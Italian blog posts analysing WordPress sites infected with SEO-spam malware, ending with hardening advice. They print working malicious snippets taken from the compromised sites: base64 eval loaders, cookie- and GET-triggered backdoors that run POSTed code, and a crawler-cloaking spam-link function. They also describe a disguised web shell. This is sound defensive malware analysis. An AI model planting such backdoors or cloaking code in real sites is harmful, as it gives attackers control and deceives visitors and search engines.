Continua la serie con l’indagine su vari blog compromessi, le puntate precedenti sono:

Ho ancora altri due siti da analizzare. Quello che è ormai chiaro è l’estensione dell’infezione, siamo a centinaia di siti sicuramente colpiti. La notizia buona, si fa per dire, è che la maggior parte dei blog violati sono abbandonati a se stessi da mesi o anni. Ma è una buona notizia a metà.

Fino ad ora chi ha violato questi siti si è limitato, se di limite si può parlare, ad usarli per fare pubblicità a farmacie online, suonerie per cellulari, società di rifinanziamento e simili. Insomma, roba solita dello spam. Nessuno vieta però di pensare ad altri usi, molto meno “amichevoli” sia verso il proprietario del sito che verso gli eventuali visitatori.

E le prime avvisaglie non tardano ad arrivare. Il codice usato è in continua evoluzione ed in decine di varianti diverse, come differente è il tipo di attacco. Uno dei siti analizzati non ha nessuna modifica ai file di WordPress, ma il proprietario ha installato un tema e lo ha personalizzato. Nel file header.php l’attaccante è riuscito ad infilare queste due righe di codice:


eval(base64_decode('JGZsbj0nd3AtY29udGVudC90aGVtZXMvdGlnYS9qcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRmbG4pKXtpbmNsdWRlX29uY2UoJGZsbik7fQ=='));
...
eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSl7ZWNobyBnbWwoKTt9'));

con il solito schema di offuscamento del codice. Il codice PHP reale è:


$fln='wp-content/themes/tiga/js.php';if(file_exists($fln)){include_once($fln);}
...
if(function_exists('gml')){echo gml();}

Lo scopo è sempre lo stesso: se esiste un certo file lo include, e poco dopo chiama una funzione definita nel file incluso. Il lavoro della funzione è quello di controllare lo user agent di chiunque visita il sito e se risulta lo spider di un motore di ricerca infarcisce la pagina di spam link.

In un caso ho potuto guardare anche dentro il database del blog compromesso, e c’è una sorpresa anche lì. Uno dei record della tabella wp_options, ha come nome wordpress_options. Questa specifica opzione ha assegnato un valore di oltre 16kbyte, che inizia così:

; ))"=szJ14iMnASPg4

e finisce così:

Iw1Gdi0DdjFGJ"(edoced_46esab(lave

Privo di senso, a prima vista. A colpo d’occhio, i 16kbyte di caratteri sembrano una classica codifica base64, ma passati così come sono al decoder restituiscono un errore. La parte terminale è un indizio importante: leggendola al contrario è:

eval(base64_decode("....

Un breve script shell, invertita la stringa viene restituito un codice PHP esattamente identico a quello del file incluso in header.php del tema.

L’attaccante, in questo caso specifico, ha cambiato la data di tutti i file del sito sul server ad una data e ora unica, certamente non corrispondente a nessuna data utile. Quindi niente linea temporale: non possiamo sapere facilmente quali file siano stati modificati e quando, semplicemente guardando la data. Inoltre non abbiamo un momento preciso in cui andare a guardare nei log del web server.

Una curiosità: in fondo a questo file incluso viene ridefinita la variabile globale $wp_version che contiene la versione ufficiale di WordPress installata. Il valore assegnato è 2.5. Se magicamente vi trovate il blog aggiornato a WordPress 2.5 e non ricordate di averlo fatto è molto probabile che il blog non vi appartenga più.

Tags: , ,

Spam con WordPress: altri esempi di codice iniettato

Ho ricevuto altri due tarball di siti web compromessi.

Entrambi hanno lo stesso schema di intrusione. Li sto ancora analizzando, e stavolta il cracker è più furbo dei precedenti. Il codice è iniettato su parecchie pagine, subito dopo la sequenza di escape del PHP, in questo modo (tratto dal file wp-admin/index.php):


<?php
  if(md5($_COOKIE['_wp_debugger'])=="788d0899a96f367ef0b93356bc87c28a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>
<?php
  if($_GET['4bb9dfc9087f6880']=="3af2f3a320b6d01a") {
    eval(base64_decode($_POST['file']));
    exit;
  }
?>

Il primo if sembra essere una forma di identificazione: se nel browser del visitatore è presente un certo cookie viene eseguito del codice, risultante dalla funzione eval applicata sul contenuto della richiesta POST. Il secondo assomiglia al primo, solo che viene controllata la presenza ed il valore di una variabile di tipo urlencoded. Questo sito è stato compromesso più volte, almeno due, con versioni successive installate forse da due cracker differenti.

La parte più “gustosa”, si fa per dire, è quella del rilevamento dello user agent e della “farcitura” della home page di link spam (tratto dal file wp-includes/default-filters.php):


add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
function wpc7c16b8466d864eeefd20050625c7775() {
  $seau=array("google","yahoo","slurp","msn","live","ask","altavista","aol");
  $sebot="";
  foreach($seau as $ua)
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),$ua)!==false){ $sebot="1"; break; }
  if(!($sebot==1 && sizeof($_COOKIE)==0)) return;
  @include('./wp-includes/class-mail.php');
  if(sizeof($wparr)>0){
    echo "<div id=\"_wp_footer\">";
    foreach($wparr as $k=>$v){
      echo "<a href=\"".$v['url']."\" title=\"".ucwords($v['key'])."\">".ucwords($v['key'])."</a>\n";
      if($i++==$inum) break;
    }
    echo "</div>".$_footer;
  }
}

Notare la lista delle stringhe per lo user agent, alla variabile $seau.
Questo tipo è quello che usa il tag <div> con ID pari a “_wp-footer”, visto qui.

Nell’albero delle directory dell’installazione di WordPress compromessa vi sono alcuni file estranei, riconoscibili per via dell’ultima lettera dell’estensione del nome duplicata: en_new.php.jpgg, mcwindows.php.giff, Downloads_old.php.jpgg.

Il contenuto, come è facile immaginare, è completamente differente da quello che l’estensione sembra suggerire: sono script PHP che iniziano in questo modo:


<?php
  if(md5($_COOKIE['qwerty'])=="bed5666cccb90054bec0058e9f28d91c"){
    clearstatcache();
    set_magic_quotes_runtime(0);
    if(!function_exists('ini_set')){
      function ini_set(){
        return FALSE;
      }
   }
...

La prima riga è proprio una autenticazione, il resto del file contiene varie funzioni, le più interessanti sono una che tenta la modifica di alcune variabili di funzionamento dell’interprete PHP, per la precisione max_execution_time e output_buffering, ed una che controlla l’impostazione del “safe mode”. Segue una rudimentale shell via web che permette di creare directory, modificare file, rimuovere file o directory, fare l’upload di file, eseguire comandi via shell. Ed ancora, una funzione che scandisce l’albero di directory a partire da un punto e cerca file e directory modificabili con l’utente con cui viene eseguita la shell, ossia il web server. Ultima finezza, una funzione che permette di aprire e modificare un file e rimette data ed ora di ultima modifica a quella precedente le modifiche, come se il file non fosse mai stato toccato.

Insomma, il kit del provetto cracker.

Devo dire che c’è da imparare da questa gente. Alcune tecniche di programmazione sono realmente istruttive. C’è una funzione che cerca, fra le varie disponibili nelle tante versioni rilasciate di PHP, quella esistente nell’installazione in cui viene messa in esecuzione, a scelta fra: exec, shell_exec, system e passthru.

Tags: , , ,

Spam con WordPress: primi dettagli su un sito compromesso

Grazie alla competenza ed alla estrema gentilezza di un webmaster, ho potuto analizzare il codice di uno dei siti compromessi negli ultimi tempi.

L’attacco è stato compiuto sfruttando una delle vulnerabilità note delle versioni 2.0.x di WordPress, ed il risultato è stato di iniettare file PHP sia nella directory del tema Classic che in una delle directory accessorie dell’editor TinyMCE. Tramite questi due file l’attaccante è poi riuscito ad iniettare due singole righe di istruzioni in PHP all’interno del file wp-includes/function.php che iniziano così:


eval(base64_decode(.....

e contengono una lunga stringa di caratteri alfanumerici, in codifica Base64. La prima equivale a:


if(!$GLOBALS['dhhag']){if(have_posts()){$GLOBALS['dhhag'] = 1;if(function_exists('gml')){echo gml();}}}

ed è iniettata dentro la funzione mysql2date

La seconda è iniettata fra le funzioni is_archive e is_date: controlla se esiste il file dentro le directory di TinyMCE e lo include.

Lo stile di scrittura è tipico del codice offuscato, ossia un sorgente sintatticamente corretto, ma umanamente difficile da leggere, proprio di tool usati o scritti da cracker o hacker blackhat.

In sostanza il file dentro TinyMCE viene richiamato sia da WordPress durante il suo funzionamento, sia esternamente dall’attaccante. Esaminando brevemente il codice, si evince che contiene funzioni per:

  • Iniettare le due righe dette poco sopra nel file wp-includes/function.php
  • scaricare nuove versioni di se stesso
  • scaricare dati di lavoro dal server
  • analizzare lo user agent dei visitatori e reagire alla presenza di determinate stringhe: google, msn, slurp
  • riportare la propria attività su richiesta

E’ un tool automatizzato scritto appositamente, e fatto per lavorare in parallelo su un gran numero di siti compromessi. Una volta che l’attaccante lo ha iniettato nel sito vittima, lo attiva semplicemente richiamandolo tramite URL. Il risultato è un form con le opzioni da inserire, segue poi una chiamata ad un differente URL per attivarlo. Qui sotto un esempio del form.

Il form di setup del malware

I due siti cinesi che vedete nell’immagine del form sono quelli usati dal malware iniettato per ottenere i dati di lavoro.

Nella stessa directory ci sono i file di lavoro, con nomi che sono sequenza di 32 cifre esadecimali. Il contenuto è facilmente immaginabile: tipici messaggi spam con link ad altri siti, tutti blog già compromessi. E’ assai probabile che anche in questi siti si troverà il comportamento di redirect visto in precedenza.

Sono centinaia di link, ed ogni sito a cui puntano ne contiene di nuovi. E’ umanamente impossibile pensare di avvertirli tutti, ma ci sto provando.

Rispetto alle altre di cui ho parlato, questa è una differente variante. Non pare iniettare cose nel database e non effettua il redirect. In uno dei siti compromessi ho trovato una ulteriore variante della DIV farcita di link a beneficio del GoogleBot: questa non ha né un ID, né stile display, né Javascript che inietta lo stile in base all’ID. Qui la questione è molto più semplice: c’è una istruzione di stile come questa:


<div style="position:absolute;left:-17453px;top:-17453px">

Risultato: il contenuto della DIV è invisibile perché piazzata fuori dalla finestra del browser. E’ meno individuabile perché sia “display:none” che “id=goro” sono stringhe inusuali, e facilmente rintracciabili con un motore di ricerca, mentre “position:absolute” è infinitamente più comune.

Le ragioni per cui l’attacco ha avuto successo

Nell’installazione vi erano alcune debolezze, che hanno reso la vita relativamente facile all’attaccante. Vediamo le principali:

  • La versione di WordPress era la 2.0.3, vulnerabile a parecchi tipi di attacco, compreso uno che consente di accedere al database tramite la funzione di trackback. Esistono anche dei Proof of Concept sull’argomento.
  • Tutti i file di WordPress erano modificabili dall’account con cui viene eseguito il web server, in questo caso Apache. Questo ha permesso all’attaccante di inserire file in directory normalmente non modificabili, di modificare file di WordPress e quindi di iniettare il proprio codice nei punti vitali dell’applicazione.
  • Tutti i file di WordPress appartenevano allo stesso account di Apache. Purtroppo questa è una pratica comune di molti servizi di hosting. E’ parente stretto del problema nel punto precedente, ma più grave: in questo modo anche se andiamo a togliere i permessi di scrittura per tutti ai file, il proprietario, ossia Apache, potrà renderli di nuovo scrivibili. Non dimentichiamoci che gli script PHP agiscono con lo stesso account e quindi gli stessi diritti del web server in cui è eseguito, in questo caso sempre Apache.

Per evitare di cadere vittima di questo tipo di attacchi, oltre a tenere aggiornato WordPress, occorre fare un lavoro di hardening sull’installazione nel web server. La regola base è che Apache, o quello che sia, deve essere eseguito con un account differente da quello a cui appartengono i file del sito. In questo modo si può controllare meglio il comportamento del codice PHP, ed impedirgli di automodificarsi, cosa tipica delle iniezioni di codice da parte di malware.

Altra cosa è di assegnare poi i permessi di scrittura solo e soltanto dove serve. Una buona guida è qui.

Tags: , , ,